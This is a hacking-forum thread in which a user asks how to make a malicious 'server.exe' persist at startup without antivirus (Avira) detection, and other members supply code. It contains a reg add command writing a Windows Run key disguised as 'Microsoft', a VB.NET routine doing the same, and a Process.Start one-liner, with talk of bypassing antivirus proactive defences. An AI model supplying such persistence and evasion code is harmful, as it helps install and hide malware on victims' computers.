Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

How can i run a .bat from resources without dropping?

Avira is detecting my streamwriter code so im wondering how i can run a .bat without dropping it.
depends on length of the batch file I guess
you could always do a single line shell execute

[Image: 2f4032b5f1170bc8fedd7e367c680327.png]

im trying to do this

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Microsoft /d %temp%\server.exe
(Jan 22, 2015 03:57 PM)legacyxo Wrote:  im trying to do this

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Microsoft /d %temp%\server.exe

lol, there is no point in making a .bat file. everything you need can be done in vb.net
(Jan 22, 2015 03:57 PM)legacyxo Wrote:  im trying to do this

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Microsoft /d %temp%\server.exe

why......
why not just add using vb code...

[Image: 2f4032b5f1170bc8fedd7e367c680327.png]

lmao still detects my shit even if i use shell. i even encrypted the code.
(Jan 22, 2015 03:53 PM)legacyxo Wrote:  Avira is detecting my streamwriter code so im wondering how i can run a .bat without dropping it.

what???? don't use that use System.IO.WriteAllBytes
(Jan 22, 2015 06:18 PM)SIM-1984933 Wrote:  what???? don't use that use System.IO.WriteAllBytes

what???? what is that?
please explain 😭
[Image: jlscvfi.png]
Code
Public Sub BatchSucksUseVB(ByVal ServerName As String, ByVal ServerPath As String)
      Dim reg As RegistryKey = Registry.CurrentUser.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
      With reg
      .OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
      .SetValue(ServerName, ServerPath)
      End With
    End Sub

Code
Try

      BatchSucksUseVB("name", "path")
      Catch ex As Exception
      'already installed
      End Try
(Jan 22, 2015 08:41 PM)t0fx Wrote:  
Code
Public Sub BatchSucksUseVB(ByVal ServerName As String, ByVal ServerPath As String)
      Dim reg As RegistryKey = Registry.CurrentUser.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
      With reg
      .OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
      .SetValue(ServerName, ServerPath)
      End With
    End Sub

Code
Try

      BatchSucksUseVB("name", "path")
      Catch ex As Exception
      'already installed
      End Try
That will trigger proactives my method bypasses proactives. Thanks though
(Jan 22, 2015 08:41 PM)t0fx Wrote:  'already installed

Not necessarily, there can be tons of other issues throwing an exception.
(Jan 22, 2015 10:49 PM)legacyxo Wrote:  That will trigger proactives my method bypasses proactives. Thanks though

Code
Process.Start("CMD", "/C reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Microsoft /d %temp%\server.exe")


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Shell] by Avicti3Nov 24, 2017 11:25 AM 1 224 Nov 24, 2017 11:25 AM
Last Post: Hackoo
[Shell] by HackooAug 8, 2017 02:12 AM 0 194 Aug 8, 2017 02:12 AM
Last Post: Hackoo
[Shell] by PeոcìlJul 23, 2017 06:27 AM 2 204 Jul 23, 2017 06:27 AM
Last Post: Peոcìl